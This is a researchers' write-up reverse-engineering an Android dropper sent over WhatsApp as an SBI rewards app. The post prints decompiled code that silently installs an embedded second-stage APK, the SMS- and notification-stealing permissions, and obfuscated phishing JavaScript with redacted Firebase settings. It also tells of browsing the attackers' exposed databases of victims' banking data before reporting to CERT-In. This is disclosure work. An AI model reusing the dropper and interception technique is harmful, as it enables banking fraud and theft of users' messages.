From Dropper to Data Theft: Reverse Engineering an Android Malware Targeting SBI Users in India

I got word from my friend Asjid Kalam about a WhatsApp message from a user claiming to be from SBI (State Bank of India), asking the recipient to install an APK file to get some reward points. As curious engineers, we (with special thanks to Asjid for sharing the malware and to Ajmal Aboobacker for being part of this effort) tried to reverse-engineer the application and found a major data breach containing highly sensitive information such as Name, Date of Birth, Mother’s Name, Phone Number, PAN Card Info, MMID, Net Banking Usernames, Passwords, Card Numbers, CVV data, ATM PIN, Text Messages, Contacts, and much more.

Static Analysis

We started by looking into the application through static analysis, trying to understand its initial actions. The first thing we examined was the AndroidManifest.xml file to see which permissions the malware was using, and the first one that caught our eye was this:

<uses-permission  android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>

According to Android documentation (and specifically, Google Play’s policy documentation for developers), android.permission.REQUEST_INSTALL_PACKAGES is a permission that allows an application to request the installation of app packages on a user’s device. Other than that, there were the usual Android permissions to access the internet. Since the REQUEST_INSTALL_PACKAGES permission was enabled, we knew that this was just a stager and the real malware was either downloaded from an external source or embedded somewhere in the app itself. So, we started searching for code used for this purpose, and after a bit, we found this code, which was used to install the Stage 2 malware:


    public final String f1749s = "release/app-release.apk";

    /* renamed from: t, reason: collision with root package name */
    public final C0028b f1750t;

    public MainActivity() {
        g gVar = new g();
        a aVar = new a(7, this);
        this.f1750t = this.f951k.c("activity_rq#" + this.f950j.getAndIncrement(), this, gVar, aVar);
    }

    public final void i() {
        String str = this.f1749s;
        Map.Entry entry = null;
        File file = Build.VERSION.SDK_INT >= 29 ? new File(getExternalFilesDir(null), "app-release.apk") : new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "app-release.apk");
        try {
            InputStream inputStreamOpen = getAssets().open(str);
            c.d(inputStreamOpen, "open(...)");
            FileOutputStream fileOutputStream = new FileOutputStream(file);
            byte[] bArr = new byte[1024];
            while (true) {
                int i2 = inputStreamOpen.read(bArr);
                if (i2 <= 0) {
                    break;
                } else {
                    fileOutputStream.write(bArr, 0, i2);
                }
            }
            fileOutputStream.flush();
            fileOutputStream.close();
            inputStreamOpen.close();
        } catch (Exception e2) {
            Toast.makeText(this, "Error Extracting APK: " + e2.getMessage(), 1).show();
        }
        if (!file.exists()) {
            Toast.makeText(this, "Failed to extract APK", 1).show();
            return;
        }
        C0248a c0248aC = FileProvider.c(this, "com.fake.applica.fileprovider");
        try {
            String canonicalPath = file.getCanonicalPath();
            for (Map.Entry entry2 : c0248aC.b.entrySet()) {
                String path = ((File) entry2.getValue()).getPath();
                if (FileProvider.a(canonicalPath).startsWith(FileProvider.a(path) + '/') && (entry == null || path.length() > ((File) entry.getValue()).getPath().length())) {
                    entry = entry2;
                }
            }
            if (entry == null) {
                throw new IllegalArgumentException("Failed to find configured root that contains " + canonicalPath);
            }
            String path2 = ((File) entry.getValue()).getPath();
            Uri uriBuild = new Uri.Builder().scheme("content").authority(c0248aC.f2770a).encodedPath(Uri.encode((String) entry.getKey()) + '/' + Uri.encode(path2.endsWith("/") ? canonicalPath.substring(path2.length()) : canonicalPath.substring(path2.length() + 1), "/")).build();
            c.d(uriBuild, "getUriForFile(...)");
            Intent intent = new Intent("android.intent.action.VIEW");
            intent.setDataAndType(uriBuild, "application/vnd.android.package-archive");
            intent.addFlags(268435457);
            startActivity(intent);
        } catch (IOException unused) {
            throw new IllegalArgumentException("Failed to resolve canonical path for " + file);
        }
    }

So, what this does is that once the stage 1 app is installed on a device, the app extracts the app-release.apk file and then keeps it in the app’s data directory, which we found when we ran the app on an emulator.

We started to analyze the stage 2 malware and looked at the AndroidManifest.xml file, where we found some very interesting permissions:

  <uses-permission  android:name="android.permission.RECEIVE_SMS"/>

This permission allows the app to receive text messages (SMS). So, when a new SMS arrives on your phone, this app can be notified.

<uses-permission android:name="android.permission.READ_SMS"/>

This permission allows the app to read all the text messages (SMS) stored on your phone. This means it can access your entire SMS history.

<uses-permission  android:name="android.permission.READ_PHONE_NUMBERS"/>

This permission allows the app to read phone numbers stored on your device, including the phone number of the device itself.

<uses-permission  android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

This permission allows the app to start itself automatically when your phone finishes booting up (turns on). This allows the app to run in the background from the moment your phone is ready.

<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>

This permission allows the app to ask you to disable battery optimization for it. Battery optimization can restrict an app’s background activity to save power, so an app might request this to ensure it can run continuously without interruptions.

<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>

This permission allows the app to run a “foreground service” and tells Android that the app needs to perform a task that’s crucial and shouldn’t be easily killed by the system.

<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/>

This is a more specific type of foreground service permission, indicating that the foreground service is primarily for data synchronization (like uploading or downloading data).

<uses-permission android:name="android.permission.FOREGROUND_SERVICE_SPECIAL_USE"/>

This is a generic foreground service type, indicating that the service has a “special use” that doesn’t fit into other predefined categories.

<service    
  android:name="com.fake.applica.SmsForegroundService"    
  android:exported="false"    
  android:foregroundServiceType="dataSync">    
  <property    
  android:name="android.app.lib_name"    
  android:value="special_service_lib"/>    
  </service>

This declares a “service” named SmsForegroundService. Services are components that can run long-running operations in the background without needing a user interface. The foregroundServiceType="dataSync" further specifies that this service is primarily for data synchronization.

<service    
  android:label="@string/app_name"    
  android:name="com.fake.applica.NotificationListener"    
  android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"    
  android:exported="true">    
  <intent-filter>    
  <action  android:name="android.service.notification.NotificationListenerService"/>    
  </intent-filter>    
  </service>

This declares another service, NotificationListener. The BIND_NOTIFICATION_LISTENER_SERVICE permission is crucial here; it means this service is specifically designed to listen for and intercept notifications from other apps on your phone. It can read, dismiss, and interact with notifications.

Once we reviewed these permissions and services, we knew that the app could run in the background and send this data to an external source. So, we tried to find out what the app was doing. We installed the stage 2 APK in an emulator, but to our surprise, we couldn’t find the app in the APK drawer, so we tried to launch it through ADB.

Once the app started, it asked for the above permissions, and we were greeted with an SBI login page.

We wanted to figure out where the app was hosted, but it was all obfuscated. So, we tried the next best thing, which was to search for WebView, and we found a domain that uses surge.sh, which is a legitimate service used to host single-page applications.

  public  final  void  onCreate(Bundle  bundle)  throws  IllegalAccessException,  NoSuchMethodException,  SecurityException,  IllegalArgumentException,  InvocationTargetException  {    
  super.onCreate(bundle);    
  setContentView(R.layout.activity_main);    
  View  viewFindViewById  =  findViewById(R.id.webview);    
  g.d(viewFindViewById,  "findViewById(...)");    
  WebView  webView  =  (WebView)  viewFindViewById;    
  webView.setWebViewClient(new  WebViewClient());    
  webView.getSettings().setJavaScriptEnabled(true);    
  webView.loadUrl("https://xx-xxxx.surge.sh/");    
  Log.d("MainActivity",  "Starting SmsForegroundService.");    
  e.startForegroundService(this,  new  Intent(this,  (Class<?>)  SmsForegroundService.class));    
  ArrayList  arrayList  =  new  ArrayList(new  f(new  String[]{"android.permission.READ_SMS",  "android.permission.RECEIVE_SMS",  "android.permission.READ_PHONE_NUMBERS"},  true));    
  if  (Build.VERSION.SDK_INT  >=  33)  {    
  arrayList.add("android.permission.POST_NOTIFICATIONS");    
  }    
  ArrayList  arrayList2  =  new  ArrayList();    
  int  size  =  arrayList.size();    
  int  i2  =  0;

So, we navigated to that domain on our browser, where we found that the scammers had made a mistake. Looking at the HTML source code, we found an obfuscated JavaScript file that contained the Firebase API Key, database URL, etc.

function _0x2afc(_0x320b78, _0x8030aa) {
    const _0x42206d = _0x4220();
    return _0x2afc = function(_0x2afc5d, _0x5462d5) {
        _0x2afc5d = _0x2afc5d - 0x1a3;
        let _0x404b54 = _0x42206d[_0x2afc5d];
        return _0x404b54;
    }, _0x2afc(_0x320b78, _0x8030aa);
}
const _0x7ad208 = _0x2afc;

function _0x4220() {
    const _0x5b6906 = ['40AkPNnn', 'xxxx.firebasestorage.app', '6VIexWC', '21339PKXZeF', '93828RBKnCk', '83080wFyRFH', 'initializeApp', '180993Lnmqkz', '1:xxxxxxxxxxxxx:web:xxxxxxxxxxxxx', 'xxxxxxxxxxxxx', '8xhjVcD', '1167720cdaVMl', '6370900ZlqssZ', 'xxxxxx', 'xxxxxx.firebaseapp.com', '9110ZXxkxI'];
    _0x4220 = function() {
        return _0x5b6906;
    };
    return _0x4220();
}(function(_0x3c887d, _0x5b5681) {
    const _0x5d6e59 = _0x2afc,
        _0x1c2f52 = _0x3c887d();
    while (!![]) {
        try {
            const _0x4b4e63 = parseInt(_0x5d6e59(0x1a9)) / 0x1 + parseInt(_0x5d6e59(0x1a3)) / 0x2 + -parseInt(_0x5d6e59(0x1ab)) / 0x3 * (parseInt(_0x5d6e59(0x1ae)) / 0x4) + -parseInt(_0x5d6e59(0x1af)) / 0x5 + parseInt(_0x5d6e59(0x1a6)) / 0x6 * (-parseInt(_0x5d6e59(0x1a8)) / 0x7) + -parseInt(_0x5d6e59(0x1a4)) / 0x8 * (-parseInt(_0x5d6e59(0x1a7)) / 0x9) + parseInt(_0x5d6e59(0x1b0)) / 0xa;
            if (_0x4b4e63 === _0x5b5681) break;
            else _0x1c2f52['push'](_0x1c2f52['shift']());
        } catch (_0x37aaf9) {
            _0x1c2f52['push'](_0x1c2f52['shift']());
        }
    }
}(_0x4220, 0x5a14a));
const firebaseConfig = {
    'apiKey': 'xxxxxxxxxxxxxxx',
    'authDomain': _0x7ad208(0x1b2),
    'databaseURL': 'https://xxxxxx-xxxxxxx.firebaseio.com',
    'projectId': _0x7ad208(0x1b1),
    'storageBucket': _0x7ad208(0x1a5),
    'messagingSenderId': _0x7ad208(0x1ad),
    'appId': _0x7ad208(0x1ac)
};
firebase[_0x7ad208(0x1aa)](firebaseConfig);

Since we had this information, we could create an HTML page that could be used to connect to the Firebase DB and see what data was being stored. To our surprise, we found user details of more than 2000 users, including usernames, passwords, card data, and ATM PINs.

They were actually organizing data using separate tables for each page used in the phishing site. They were using separate tables to store data such as login info, card details, and PII information. In total, we found 15 tables just within this database.

Looking at the dates, we knew that this was an active campaign. Digging further into the code, we found another domain that contained the Firebase configuration, which was used to send SMS, contacts, and notification data.

Connecting to this database we were able to see all the SMS messages of all the users that was has installed this malware.

The funny thing was that all these databases could be accessed without having the API Key, simply by knowing the Firebase URL. We weren’t satisfied with just this finding. What if we changed the number in the JavaScript filename, just to see if there were more? So we tried, and there were multiple database configs saved in that domain. In total, we got access to 7 databases that were used in this campaign. All the databases contained PII data of various users; one database was specifically used for storing income tax data of users.

Due to the nature of this, we were unsure how to report this to the relevant authorities, as this might backfire. So, we needed to report this in a diplomatic manner. We contacted our friend/mentor Observer who connected us with a senior official from CERT-In. We shared the details of our findings over email, and a couple of days later, I received a call from one of the officials from CERT-In confirming that they had gone through our findings and were currently looking into it. A couple of minutes later, we received a confirmation email from CERT-In regarding our findings.